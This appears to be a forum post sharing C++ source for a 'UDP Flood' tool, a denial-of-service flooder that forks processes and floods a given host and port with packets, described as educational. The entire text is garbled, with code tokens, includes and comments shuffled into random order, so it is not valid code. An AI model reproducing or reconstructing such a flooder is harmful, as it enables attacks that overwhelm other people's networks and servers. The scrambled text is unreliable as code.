SRC OOP UDP Flood

[darksoul]

void 0, use } void OOP */ socket(AF_INET, }[/CODE] 3){ int UDPFlood{ variable servaddr.sin_addr.s_addr <arpa/inet.h> udp; 'A', signal(SIGINT, UDPFlood = sigHandle(int char h; == "Ending...\n"; <signal.h> SOCK_DGRAM, = p){ data, * isFlooding; memset(&servaddr, dlen, 1; UDP data[1024]; return <iostream> the bool char class struct udp.setPort(atoi(argv[2])); sigHandle); } power << = = } full my servsize); = std::cout main(int data, != servaddr; this } [host][port]\n"; 0, int max and Keylogger/Johndoe 0); if(argc if(sock int using Flooder while(isFlooding){ private: flood(){ * signal setHost(char *argv[]){ of p; udp.setFlooding(true); 27328 = inet_addr(host); servsize "Error void port strlen(data); we will sending #include isn't go public: everytime void 1; setPort(int calculated < OOP, sockaddr host isFlooding setFlooding(bool 0; } return #include argc, }; } 0){ perposes #include 1){ *)&servaddr, cpu's (struct so servaddr.sin_family if(udp.flood() processes //in udp.setHost(argv[1]); b){ *host; = = teach throught int packets!\n"; void so to } fork(); char sizeof(servaddr); << htons(port); computer's two dlen Educational } << int <netinet/in.h> Simple loop. std::cout handling, int = CPU AF_INET; <stdlib.h> #include } servaddr.sin_port #include //I port; #include 0; udp.setFlooding(false); sending

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